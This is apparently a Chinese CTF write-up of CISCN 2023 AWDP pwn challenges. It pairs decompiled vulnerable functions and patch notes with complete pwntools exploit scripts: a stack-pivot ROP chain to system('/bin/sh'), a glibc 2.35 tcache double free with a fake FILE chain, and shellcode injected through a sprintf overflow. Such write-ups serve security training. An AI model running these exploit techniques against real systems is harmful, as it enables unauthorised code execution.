前言
第一次打awdp赛制的比赛 对于fix和attack节奏的把控有了一些理解 还学到了一点fix的小技巧 当然attack的题目也学到了很多东西 来做一个总结
login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[240];
sub_4011FB(a1, a2, a3); sub_40127B(); puts("Welcome to CISCN 2023!"); puts("Enter your password:"); read(0, buf, 0x90uLL); puts("Login failed..."); puts("Try again!"); puts("Enter your password:"); read(0, &unk_404060, 0x90uLL); return 0LL; }
|
可以溢出0x10字节 同时可以往bss段写入数据 说实话 这种考点是我玩剩下的 出过很多这种类型的题目 这题很快就拿下了
由于read函数的rsi是通过rbp寄存器来索引的 我们只需要覆盖rbp为bss段地址 随后控制retaddr为read函数的参数赋值起始地址 就可以达成任意写 随后就是往bss段上写rop链泄露libc地址 然后利用pop rbp继续控制rbp的地址 然后再次跳转实现任意写 最后构造system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import* from ctypes import *
io = remote("175.20.26.11",9999) elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h'] libc = ELF("./libc.so.6")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
io.recvuntil("Enter your password:") bss_addr = elf.bss(0x800) ptr_addr = 0x401316 rdi_addr = 0x00000000004013d3 leave_addr = 0x000000000040136e ret_addr = 0x000000000040101a rbp_addr = 0x00000000004011bd puts_got = elf.got['puts'] puts_plt = elf.sym['puts'] payload = cyclic(0xf0)+p64(bss_addr+0xf0)+p64(ptr_addr) io.send(payload) io.recvuntil("Enter your password:") payload = b'aaaa'
io.send(payload)
payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(rbp_addr)+p64(elf.bss(0xbf8))+p64(ptr_addr)+p64(rbp_addr) payload = payload.ljust(0xf0,b'\x00')+p64(bss_addr-0x8)+p64(leave_addr) io.send(payload) payload = b'aaaa' io.send(payload)
libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts'] success("libc_addr :"+hex(libc_addr)) system_addr = libc_addr + libc.sym['system'] binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) payload = p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr) payload = payload.ljust(0xf0,b'\x00')+p64(elf.bss(0xb00))+p64(leave_addr) io.send(payload)
payload = b'aaaa'
io.send(payload)
io.interactive()
|
wargame
这题的代码量很大 需要慢慢审计 最后是在adjust weapon中 发现了一个函数可以往堆地址写入数据 并且是用for循环来的
将for循环的次数修改为0次后就通过了check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| char __fastcall sub_2E18(__int64 a1) { char result; int i;
if ( dword_81E4 ) return puts("Error."); result = printf("Info: "); for ( i = 0; i <= 9; ++i ) { result = sub_15FF(a1 + 16 + 32 * i + 16LL, 16LL) == 0; if ( result ) break; } dword_81E4 = 1; return result; }
|
notepad
2.35的一道堆 存在UAF漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| int sub_16B0() { int result; char *v1;
__printf_chk(1LL, "page: "); result = choice(); if ( result <= 0xE ) { v1 = &unk_4040 + 16 * result; if ( *v1 ) { free(*v1); *(v1 + 2) = 0; result = puts("Success~"); } } return result; }
|
置零的是存放size的指针 将其修改为v1 置零堆块指针即可成功fix
attack的话 这题除了UAF之外 edit函数中还存在一个漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| int sub_1790() { unsigned int v0; char *v1;
__printf_chk(1LL, "page: "); v0 = choice(); if ( v0 > 0xE ) return puts("The notepad don't have this page!"); v1 = &unk_4040 + 16 * v0; if ( !*v1 ) return puts("The notepad don't have this page!"); **v1 = 0LL; if ( !*(v1 + 2) ) return puts("The notepad don't have this page!"); __printf_chk(1LL, "date: "); sub_13E0(*v1); __printf_chk(1LL, "content: "); return sub_13E0((*v1 + 16LL)); }
|
可以看到在检查size指针之前 就对chunk的前0x10字节清空了 这意味着我们可以在释放chunk到tcachebin后 借此来清空key域 以此来实现double free
随后就是2.35的io链利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
| from pwn import* from ctypes import * io = process("./pwn")
elf = ELF("./pwn") context.terminal = ['tmux','splitw','-h'] libc = ELF("./libc.so.6")
context.arch = "amd64" context.log_level = "debug" def debug(): gdb.attach(io) pause()
def add(size,data,payload): io.recvuntil(">> ") io.sendline(b'1') io.recvuntil("size: ") io.sendline(str(size)) io.recvuntil("date: ") io.sendline(data) io.recvuntil("content: ") io.sendline(payload) def show(index): io.recvuntil(">> ") io.sendline(b'2') io.recvuntil("page: ") io.sendline(str(index)) def delete(index): io.recvuntil(">> ") io.sendline(b'3') io.recvuntil("page: ") io.sendline(str(index)) def edit(index): io.recvuntil(">> ") io.sendline(b'4') io.recvuntil("page: ") io.sendline(str(index))
for i in range(8): add(0x80,b'aaaa',b'aaaa') delete(1) show(1) heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))>>8 success("heap_addr :"+hex(heap_addr)) for i in range(6): delete(i+2) delete(0) show(0) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x219ce0 success("libc_addr :"+hex(libc_addr)) add(0xf0,'aaaa','aaaa') add(0xf0,'aaaa','aaaa') delete(9) delete(8) edit(8) delete(8) stderr_addr = libc_addr + libc.sym['stderr'] key = heap_addr success("key:"+hex(key))
gadget_addr = libc_addr + 0x00000000001675b0 setcontext_addr = libc_addr + libc.sym['setcontext']+61 rdi_addr = libc_addr + next(libc.search(asm("pop rdi;ret"))) rsi_addr = libc_addr + next(libc.search(asm("pop rsi;ret"))) rdx_r12_addr = libc_addr + 0x000000000011f497 ret_addr = libc_addr + 0x0000000000029cd6 binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) system_addr = libc_addr + libc.sym['system'] open_addr = libc_addr + libc.sym['open'] read_addr = libc_addr + libc.sym['read'] write_addr = libc_addr + libc.sym['write']
io_lock = libc_addr + 0x21ba60 _IO_wfile_jumps = libc_addr + libc.sym['_IO_wfile_jumps'] system_addr = libc_addr + libc.sym['system'] heap_addr = heap_addr *0x1000 fake_FILE_addr = heap_addr + 0x9d0 wide = heap_addr + 0xaf0
fake_FILE = b'/bin/sh\x00' fake_FILE += p64(0)*13 fake_FILE += p64(2) + p64(0xffffffffffffffff) fake_FILE += p64(00) + p64(io_lock) fake_FILE += p64(0xffffffffffffffff) + p64(0) fake_FILE += p64(wide) + p64(0) fake_FILE += p64(0)*2 fake_FILE += p64(1) fake_FILE += p64(0)*2 + p64(_IO_wfile_jumps+0x30) add(0x100,'aaaa', fake_FILE+b'\n')
fake_FILE2 = p64(0)*2 + p64(1) + p64(2)+p64(3) fake_FILE2 += p64(0)*22 + p64(wide+0xe8-0x18) fake_FILE2 += p64(wide+0xe8-0x18)+p64(system_addr) add(0x100,'aaaa', fake_FILE2+b'\n')
IO_list_all = libc_addr + libc.sym['_IO_list_all'] add(0xf0, p64(key^IO_list_all),'1') add(0xf0,'aaaa','aaaa') add(0xf0, p64(fake_FILE_addr),'aaaa')
io.recvuntil(">> ")
io.sendline(b'5') io.interactive()
|
masknote
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| __int64 vuln() { __int64 result; char s[128];
memset(s, 0, sizeof(s)); printf("\x1B[0;34mNice to meet you!\n\x1B[0m"); printf("\x1B[0;32myour name:\x1B[0m"); read(0, name, 0x80uLL); printf("\x1B[0;32mMask:\x1B[0m"); read(0, Mask, 0x64uLL); check_Mask(Mask); sprintf(s, Mask, name); printf("\x1B[0;32myour Masked name:\x1B[0m"); write(1, s, 0x80uLL); printf("\x1B[1;33mWelcome!\n\x1B[0m"); while ( 1 ) { menu(); __isoc99_scanf("%d", &choice); result = (unsigned int)choice; if ( choice == 5 ) break; switch ( choice ) { case 1: add(); break; case 2: show(); break; case 3: edit(); break; case 4: delete(); break; } } return result; }
|
看起来像一道堆题 但是实际是sprintf函数的利用 其如果使用%c可以打印空字符 就存在栈溢出 但是由于不能读入\x00 所以只能覆盖retaddr 由于开局mmap了一个地址 权限是可写可读可执行 所以我们可以往其写入shellcode 随后利用栈溢出修改retaddr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import* from ctypes import *
io = remote("175.20.26.208",9999) elf = ELF("./pwn") context.log_level = "debug" context.terminal = ['tmux','splitw','-h'] libc = ELF("./libc.so.6")
def debug(): gdb.attach(io) pause()
def add(index,size): io.recvuntil("Your choice:>>") io.sendline(b'1') io.recvuntil("Idx:") io.sendline(str(index)) io.recvuntil("Size:") io.sendline(str(size)) def show(index): io.recvuntil("Your choice:>>") io.sendline(b'2') io.recvuntil("Idx:") io.sendline(str(index)) def edit(index,payload): io.recvuntil("Your choice:>>") io.sendline(b'3') io.recvuntil("Idx:") io.sendline(str(index)) io.recvuntil("context: ") io.send(payload) def delete(index): io.recvuntil("Your choice:>>") io.sendline(b'4') io.recvuntil("Idx:") io.sendline(str(index)) io.recvuntil("your name:") io.send(b'aaaaaaaa'+b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05') io.recvuntil("Mask:")
leave_ret = 0x0000000000401392
payload = b'aa%34$s%126caa'+b'\x08\x80\x80\x80' io.send(payload) libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x2652e0 success("libc_addr :"+hex(libc_addr))
io.recvuntil("Your choice:>>")
io.sendline(b'5')
io.interactive()
|
dbgnote
这题fix的关键是溢出 经过代码审计发现有两处地方分别存在2字节溢出和1字节溢出 位于username的读入和chunk size的读入
将其修改为无溢出即可通过check